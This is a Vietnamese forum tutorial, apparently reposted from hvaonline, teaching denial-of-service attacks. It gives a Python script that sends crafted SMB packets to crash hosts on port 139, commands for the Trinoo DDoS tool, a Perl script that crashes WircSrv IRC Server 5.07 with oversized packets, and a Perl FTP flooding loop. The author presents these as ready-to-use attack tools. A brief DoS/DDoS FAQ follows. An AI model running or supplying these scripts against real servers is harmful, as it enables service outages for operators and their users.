Trước khi đọc bài này, mình xin lưu ý rằng,bài này nhằm mục đích tham khảo, nếu có sự cố gì xảy ra, mình không chịu trách nhiệm

Code:

CODE

import stringimport structfrom socket import *import sysdef a2b(s): bytes = map(lambda x: string.atoi(x, 16),string.split(s))data = string.join(map(chr, bytes), '')return datadef b2a(s): bytes = map(lambda x: '%.2x' % x, map(ord, s))return string.join(bytes, ' ')# Yêu cầu tập hợp NBSSnbss_session = a2b("""81 00 00 48 20 43 4b 46 44 454e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 4341 43 41 43 41 43 41 43 41 43 41 00 20 45 48 4542 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 4643 43 41 43 41 43 41 43 41 43 41 41 41 00 00 0000 00""")# Tạo SMBcrud = (# Yêu cầu SMBnegprot"""ff 53 4d 42 72 0000 00 00 08 01 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 4320 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 204e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 3000 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00""",# Yêu cầu setup SMB X"""ff 53 4d 42 73 0000 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 0000 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f 55 50 00 55 6e 69 78 00 53 61 6d 62 61 00""",# Yêu cầu SMBtconX"""ff 53 4d 42 75 0000 00 00 08 01 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 0000 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 5645 52 5c 49 50 43 24 00 49 50 43 00""",# Yêu cầu khởI tạo SMBnt X"""ff 53 4d 42 a2 0000 00 00 08 01 00 00 00 00 00 00 00 00 00 00 0000 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 0007 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 0000 00 00 00 00 00 00 00 00 00 03 00 00 00 01 0000 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 7276 73 76 63 00""",# yêu cầu biên dịch SMB"""ff 53 4d 42 25 0000 00 00 08 01 00 00 00 00 00 00 00 00 00 00 0000 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 0000 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 4950 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 0000 00 01 00 00 00 30 16 30 16 00 00 00 00 01 0000 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 785a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1cc9 11 9f e8 08 00 2b 10 48 60 02 00 00 00""",# SMBtrans Request"""ff 53 4d 42 25 0000 00 00 08 01 00 00 00 00 00 00 00 00 00 00 0000 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 0000 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 4950 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 0000 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 0000 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00 5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 0056 00 45 00 52 00 00 00 00 00 01 00 00 00 01 0000 00 00 00 00 00 ff ff ff ff 00 00 00 00""")crud = map(a2b, crud)def smb_send(sock, data, type=0, flags=0):d = struct.pack('!BBH', type, flags, len(data))#print 'send:', b2a(d+data)sock.send(d+data)def smb_recv(sock):s = sock.recv(4)assert(len(s) == 4)type, flags, length = struct.unpack('!BBH', s)data = sock.recv(length)assert(len(data) == length)#print 'recv:', b2a(s+data)return type, flags, datadef nbss_send(sock, data):sock.send(data)def nbss_recv(sock):s = sock.recv(4)assert(len(s) == 4)return sdef main(host, port=139):s = socket(AF_INET, SOCK_STREAM)s.connect(host, port)nbss_send(s, nbss_session)nbss_recv(s)for msg in crud[:-1]:smb_send(s, msg)smb_recv(s)smb_send(s, crud[-1]) # no response to thiss.close()if __name__ == '__main__': print 'Sending poison...',main(sys.argv[1]) print 'done.'

------------------------------------------Send nhiều lênh DOS ("xyz l44adsl123:ip1:ip2") đến các Broadcast.
info-------------------------------------------------------------Hiển thị thông tin vềTrinoo .
msize----------------------------------------------------------Đặt kích thước đệm chonhững gói tin được send đi trong suốt thờI gian DoS.
nslookup host----------------------------------------------Xác định tên thiết bị củaHost mà Master Trinoo đang chạy .
usebackup---------------------------------------------------Chuyển tớI các file Broadcast saolưu được tạo bởi lệnh “killdead”.
bcast-----------------------------------------------------------Liệt kê danh sách tất cảcác Broadcast có thể khai thác .
help [cmd] ---------------------------------------------------Đưa ra danh sách các lệnh .
mstop-----------------------------------------------------------Ngừng lại các cuốc tấncông DOS .

_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:
CODE
aaa pass IP----------------------------------------------------Tấn công đến địa chỉ IPđã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đãxác định trong một khoảng thời gian xác định được mặc định là 120s hay từ1-->1999 s .
bbb pass N-----------------------------------------------------Đặt thờI gian giới hạn chocác cuộc tấn công DOS .
Shi pass--------------------------------------------------------Gửi chuỗi “*HELLO*” tớidánh sách Master Server đã được biên dịch trong chương trình trên cổng31335/UDP.
png pass-------------------------------------------------------Send chuỗi “Pong” tớI Master Server phát hành các lệnh điều khiển trên cổng 31335/UDP.
die pass-------------------------------------------------------Shutdown Trinoo.rsz N-----------------------------------------------------------Là kích thước của bộđệm được dùng để tấn công , nó được tính bằng byte .xyz pass 123:ip1:ip3----------------------------------------tấn công DOS nhiều mục tiêucùng lúc .

42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 :
_ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port6667.Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667:
Nếu bạn dùng Unix:
[hellme@die-communitech.net$ telnet irc.example.com 6667Trying example.com...Connected to example.com.Escape character is '^]'.[buffer]

Windows cũng tương tự:telnet irc.example.com 6667

Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự .Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãynhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng làmột trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiêncứu .

Nào , chúng ta hãy phân tích nó một cách căn bản ):
CODE

Code:

#!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perluse Getopt::Std;use Socket;getopts('s:', \%args);if(!defined($args{s})){&usage;}my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);$foo = "A"; # Đây là NOP$number = "65000"; # Đây là tất cả số NOP$data .= $foo x $number; # kết quả của $foo times $number $serv = $args{s}; # lệnh điều khiển server từ xa$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667$buf = "$data";$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");$proto = getprotobyname('tcp') || die("Error: $!\n");socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");connect(S, $paddr) ||die ("Error: $!");select(S); $| = 1; select(STDOUT); print S "$buf"; print S "$buf"; print("Data has been successfully sent to $serv\n");sub usage {die("\n\n Lỗi WircSrv Version 5.07scó thể tấn công bằng DoS \n gửi 2 64k gói tin đến server làm cho nó crash.\n -s

Tóm lại là vào phần chính đi

44 . ) Kỹ thuật tấn công DoS dễ dàng nhất :
_ Tôi thì mỗi lần muốn tấn công bằng DoS đều dùng chương trình này , nóchẳng kén gì cả và dễ thực hiện . Bây giờ tôi sẽ chia sẻ với các bạn .
_ Bạn cần phải có Activeperl ( lại là activepert ) đã cài sẵn , save đoạn mãsau vào file abc.pl :
CODE

Code:

#!/usr/bin/perluse IO::Socket;sub initiate {if ($ARGV[0] eq '') {die "Usage: perl abc.pl <host> <port> <username> <password>\nVi
du : perlabc.pl 127.0.0.1 21 anonymous me@\n";}$host = $ARGV[0];$port = $ARGV[1];$user = $ARGV[2];$pass = $ARGV[3];};sub connecttoserver { print("Connect den host: $host\n");$socket = IO::Socket::INET->new (PeerAddr => $host,PeerPort => $port,Proto => "tcp",Type => SOCK_STREAM) || die "khong the connect den $host"; print "Connect thanh cong . Loggin vao...\n";};sub login { print "user $user\n"; print $socket "user $user\r\n";$response = <$socket> print "$response\n"; print "pass $pass\n"; print $socket "pass $pass\r\n";$response = <$socket> print "$response\n"; print "Logged in. Dang tan cong DoS doi phuong. Nhan CTRL-C de ngung.\n";};sub doit {for (;; ){ print "retr a:/x\n"; print $socket "retr a:/x\r\n";$response = <$socket> print "$response";}}initiate();connecttoserver();login();doit();

_Nếu bạn từng qua lập trình khi đọc đoạn mã bạn sẽ thấy rằng đoạn mãnày dùng chính thông tin từ ổ đĩa A của nạn nhân để tấn công nạn nhân . Nósử dụng vòng lặp không có giới hạn từ hàm $socket "retr a:/x\r\n" . Khi muốnkết thúc bạn chỉ cần nhấn ctrl+C . _Cuối cùng là bạn chỉ cần gọi nó ra thông qua lệnh perl như các bài trên .
VD: perl abc.pl http://www.xxx.com/ anonymous metrong đó User name và Password có thể là bất kỳ


Nguồn : hvaonline

THAM KHẢO THÊM :

NẾU MUỐN TÌM HIỂU VỀ DOS VÀ DDOS THÌ HÃY XEM TÀI LIỆU NÀY RẤT BỔ ÍCH :

DoS và DDoS toàn tập - Phần I

DoS và DDoS toàn tập – Phần II

FAQ:

Mình thường nghe là tấn công DDos hơn là tấn công Dos vậy 2 cái đó giống hay khác nhau ?

Trả lời:

DoS : Denial of Service
DDoS : Distributed DoS

-DoS là hình thức tấn công từ chối dịch vụ, có nhiều cách để thực hiện tấn công kiểu này (VD : SYN Flooding,..), thực chất là Hacker tận dụng lỗ hổng bảo mật nào đó để yêu cầu Server làm việc "giời ơi" nào đó , mục đính là không để Server có khả năng đáp ứng yêu cầu dịch vụ của các Client khác, như vậy gọi là "từ chối dịch vụ" của các Client khác. Thường thì kẻ tấn công là từ một máy.

-

DDoS là một dạng DoS nhưng kẻ tấn công sử dụng nhiều máy để thực hiện.

Sự khác nhau là : DoS là tấn công từ một nguồn còn DDoS là từ nhiều nguồn khác nhau nên phương pháp chống lại cũng khác đôi chút.
VD : nếu phát hiện dấu hiệu của DoS thì chỉ cần tìm và ngắt các hoạt động hoặc kết nối liên quan đến nguồn phát (chỉ 1), còn DDoS thì rất nhiều nguồn tấn công nên không làm như vậy được. Một điểm quan trọng là nếu bị tấn công DDoS thì "chết là cái chắc.

- Khác nhau cơ bản:

+ DoS: 1 vs 1, ai mạnh hơn người đấy thắng
+ DDoS: nhiều vs 1 --> thể nào 1 cũng thua

TÌM HIỂU THÊM VỀ DDOS VÀ PHÂN LOẠI DDOS:

TẤN CÔNG DDOS VÀ PHẦN LOẠI


VÀ NẾU ĐÃ MUỐN THỬ LÀM HACKER THÌ HÃY NHỚ MỘT CÂU :

Hack là phù du ,ở tù mới đáng nói !